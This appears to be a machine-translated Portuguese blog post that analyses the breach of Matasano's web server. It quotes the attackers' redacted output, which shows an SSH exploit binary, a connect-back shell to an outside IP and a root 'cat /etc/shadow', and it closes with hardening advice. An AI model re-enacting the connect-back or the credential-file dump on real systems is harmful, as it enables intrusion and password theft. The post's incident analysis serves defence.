Como Matasano foi hackeado?
É impossível responder a partir das informações no post para a divulgação completa. No entanto, é sempre interessante especular, pois eles fornecem algumas informações -
# ./th3_f1n4l_s0lut10n www.matasano.com
[-] Conectando a 69.61.87.163:22 ..
[/] Procurando por um usuário não root válido .. adam
******** R3D4CT3D h4h4h4h4 ********
Eles executam seus binários " th3_f1n41_s01ut10n" no servidor do Matasano, que se conecta à porta ssh. Ele encontra um usuário não raiz válido por alguns meios desconhecidos e o restante da saída é redigido.
# ./th3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com
[*] Ouvinte do Connectback em 209.112.118.10:3338 ..
[!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1, OpenSSL 0.9.8g, 19 de outubro de 2007]
O binário é executado novamente usando o nome de usuário encontrado, que efetua login e se conecta novamente ao servidor na porta 3338 (espero que não esteja registrado em seu nome ...).
adam_at_www: ~ $ uname -a
Linux www 2.6.20.1-1-686 # 1 SMP Sun 4 de março 12:44:55 UTC 2007 i686 GNU / Linux
**** h4h4h4hh4h4h4 l3tz us3 m0r3! 0D4Y! H4H4H4H4H4H4H4 ****
Eles podem estar implicando que eles têm um dia 0 contra esse kernel, o que é bastante antigo quando você considera o estoque da empresa.
adam_at_www: ~ $ cd / tmp
*********** B0R1NG ***********
root_at_www: ~ # cat / etc / shadow
Ops - de repente, o usuário agora é root. Eles têm uma exploração de escalação de privilégios local em / tmp que pode ser o dia 0 a que se referem.
Portanto, há pelo menos duas explorações em andamento aqui - a OpenSSH explora para obter um usuário não raiz válido no sistema, efetue login como esse usuário e, em seguida, a escalação de privilégios locais.
Considerando que o OpenSSH tem alguns problemas de segurança conhecidos desde a versão 4.5:
Na página de segurança do OpenSSH :
- O OpenSSH anterior à versão 5.2 é vulnerável à fraqueza do protocolo descrita em CPNI-957037 "Ataque de recuperação de texto sem formatação contra SSH". No entanto, com base nas informações limitadas disponíveis, parece que esse ataque descrito é inviável na maioria das circunstâncias. Para mais informações, consulte o comunicado cbc.adv e as notas de versão do OpenSSH 5.2.
- O OpenSSH 4.9 e mais recente não são executados
~/.ssh/rcpara sessões cujo comando foi substituído por uma diretiva ForceCommand sshd_config (5). Esse foi um comportamento documentado, mas não seguro (descrito nas notas de versão do OpenSSH 4.9).
- O OpenSSH 4.7 e versões mais recentes não voltam a criar cookies de autenticação X11 confiáveis quando a geração não confiável de cookies falha (por exemplo, devido à exaustão deliberada de recursos), conforme descrito nas notas de versão do OpenSSH 4.7.
Eu acho que ter esse kernel Linux mais antigo e um daemon SSH mais antigo fez por eles. Além disso, ele estava sendo executado no servidor www, disponível na Internet, o que é algo bastante confiante para se fazer na minha opinião. As pessoas que invadiram obviamente queriam constrangê-los.
Como evitar esses ataques?
Isso poderia ter sido evitado pela administração proativa - garantindo que todos os serviços voltados para a Internet sejam corrigidos e limitando o número de pessoas que podem se conectar ao invés de permitir que as pessoas se conectem de qualquer lugar. Esse episódio compõe a lição de que a administração segura do sistema é difícil e requer dedicação da empresa para fornecer tempo para que a TI mantenha as coisas corrigidas - na realidade, não é algo que acontece facilmente, pelo menos em empresas menores.
É melhor usar uma abordagem de cinta e chaves - usar autenticação de chave pública, lista de permissões no daemon ssh, autenticação de dois fatores, restrições de IP e / ou colocar tudo por trás da VPN, são possíveis rotas para bloqueá-la.
Acho que sei o que farei no trabalho amanhã. :)